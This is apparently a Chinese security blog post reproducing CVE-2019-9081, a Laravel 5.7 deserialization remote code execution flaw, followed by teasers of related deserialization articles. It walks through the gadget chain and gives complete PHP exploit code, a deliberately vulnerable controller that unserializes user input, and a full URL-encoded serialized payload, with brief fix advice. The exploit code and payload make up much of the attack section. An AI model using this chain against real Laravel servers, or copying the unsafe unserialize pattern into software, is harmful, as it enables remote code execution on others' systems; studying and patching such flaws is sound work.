<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2019-9081 Laravel5.7 反序列化 RCE復現

    VSole2022-01-14 16:15:45

    漏洞簡介

    Laravel Framework 5.7.x版本中的Illuminate組件存在反序列化漏洞,遠程攻擊者可利用該漏洞執行代碼。

    漏洞影響

    Laravel5.7

    漏洞分析

    laravel在5.7之后加入了PendingCommand類,同時發現了兩個方法。

    PendingCommand類有魔術方法__destruct(),該方法調用run函數,然后run函數執行命令,我們跟進看一下構造方法。

    一共需要用到4個屬性,我們繼續跟進run方法看一下。

    注意$this->mockConsoleOutput();我們跟進看一下。

    繼續跟進createABufferedOutputMock()。

    繼續走下去,我們需要屬性$this->test->expectedOutput。

    我們需要找到類中用expectedOutput,經過全局搜索,在Illuminate\Foundation\Testing\Concerns,存在。

    但是這種類,需要用魔法方法get,來實例化。

    在vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php中存在可以利用的get方法。

    設置鍵名為expectedOutput的數組,即可利用。現在就缺$app參數,我們回去接著跟進run方法。

    這里也很重要:

    $this->app[Kernel::class]
    

    這里在實例化對象,再去調對應的call方法,跟著Kerne可以看到是在實例化。

    Illuminate\Contracts\Console\Kernel
    

    首先進入到:

    跟進make方法:

    跟進父類的make:

    跟進resolve:

    那么此時發現$concrete的值來自于getConcrete($abstract):

    vendor/laravel/framework/src/Illuminate/Container/Container.php
    

    跟進getConcrete:

    注意這里:

    if (isset($this->bindings[$abstract])) {    return $this->bindings[$abstract]['concrete'];}
    

    如果bindings[$abstract]存在,則會返回bindings[$abstract][‘concrete’]。

    bindings是類Container的屬性,并且類Container中也有可以RCE的call方法。

    到現在,我們可以整理一下思路:

    我們可以任意實例化類Container的子類,這樣在其子類調用call的時候,會觸發類Container的call方法,那么即可達成RCE
    

    我們選擇Illuminate\Foundation\Application而$abstract的值為Illuminate\Contracts\Console\Kernel。

    那么此時我們容易知道$bindings只要存在鍵名為Illuminate\Contracts\Console\Kernel的數組,就能進入該if條件句,那么我們只要按如下進行構造:

    1.類PendingCommand 利用 destruct觸發run()方法2.類vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 構造數組3.類vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 利用 get()魔法方法滿足mockConsoleOutput4.利用任意實例化對象,實例化Illuminate\Foundation\Application5.調用call觸發父類call方法RCE
    

    exp如下:

     namespace Illuminate\Foundation\Testing{    class PendingCommand{        protected $command;        protected $parameters;        protected $app;        public $test;         public function __construct($command, $parameters,$class,$app){            $this->command = $command;            $this->parameters = $parameters;            $this->test=$class;            $this->app=$app;        }    }} namespace Illuminate\Auth{    class GenericUser{        protected $attributes;        public function __construct(array $attributes){            $this->attributes = $attributes;        }    }} namespace Illuminate\Foundation{    class Application{        protected $hasBeenBootstrapped = false;        protected $bindings;         public function __construct($bind){            $this->bindings=$bind;        }    }} namespace{    $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));    $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("phpinfo",array('1'),$genericuser,$application);    echo urlencode(serialize($pendingcommand));}?>
    

    漏洞復現

    在routes/web.php添加一條路由:

    Route::get('/index', 'TaskController@index');
    

    接下來在app/Http/Controllers文件夾下創建文件TaskController.php,源碼如下:

    namespace App\Http\Controllers;highlight_file(__FILE__);class TaskController{    public function index(){        if(isset($_GET['code']))        {            $code=$_GET['code'];            unserialize($code);            return "Welcome to H3'palce";        }    }}?>
    

    利用exp生成payload,然后傳值過去。

    payload:

    http://127.0.0.1/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
    

    漏洞修復

    • 刪除__destruct中的$this->run()代碼段
    • 更新到新版本


    漏洞序列化
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    淺談Java反序列化漏洞
    2022-05-17 17:48:01
    Java序列化與反序列化Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
    序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    序列化的核心思維旨在,將A變成B,最后再從B還原回A。 總之,在一些條件苛刻或者變化無常的環境與需求中,產生了這種靈活的可逆性的B的中間體。 理解不安全反序列化的最好方法是了解不同的編程語言如何實現序列化和反序列化。這里的序列化與反序列化指的是程序語言中自帶的實施與實現。而非自創或者自定義的序列化與反序列化機制(比如:N進制形式hashmap樹型等其他數據結構里的序列化中間體)。
    漏洞影響版本 Jboss 漏洞搭建 在阿里云端,用docker 搭建測試環境jboos使用的漏洞庫是 vulhub ,進入漏洞庫選擇jboos里面有三個選項選擇第一個cve.輸入 docker-compose up -d 啟動 本地測試,在瀏覽器輸入訪問 /invoker/readonly,若顯示HTTP Status 500,則說有反序列化漏洞。使用工具測試驗證漏洞是否存在,工具下載地址: ... 執行whoami命令
    前置知識分析Transformer接口及其實現類。transform()傳入對象,進行反射調用。構造調用鏈調用鏈構造原則:找調用關系要找不同名的方法,如果找到同名,再通過find usages得到的還是一樣的結果。找到InvokerTransformer類中的transform(),右鍵,點 Find Usages,找函數調用關系,最好找不同名的方法,調用了transform()。因為transform()調用transform()不能換到別的方法里,沒有意義。如果有一個類的readObject()調用了get(),那我們就可能找到了調用鏈。最終選擇TransformedMap這個類,因為TransformedMap類中有好幾處都調用了transform()。
    使用 SerializationBinder 無法完全修復反序列化漏洞隱患。經過深入研究總結了兩種不安全 SerializationBinder 限定的繞過方式,下面分享給大家。
    近日Oracle通報了一個反序列化漏洞CVE-2022-21445,未經身份認證的遠程攻擊者可利用該漏洞實現反序列化操作導致任意代碼執行。任何基于ADF Faces框架開發的程序都受到此漏洞的影響,包括Oracle的多個產品。
    Fastjson Develop Team發布安全公告,修復了一個存在于Fastjson1.2.80 及之前版本中的反序列化漏洞漏洞編號:暫無,漏洞威脅等級:高危。
    JDK7u21的核心點是我們在cc1中也出現過的AnnotationInvocationHandler,在cc1中我們用到了他會觸發this.memberValues.get(var4);這個點,而在JDK7u21中利用到了他里面的equalsImpl。先來看一下equalsImpl。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类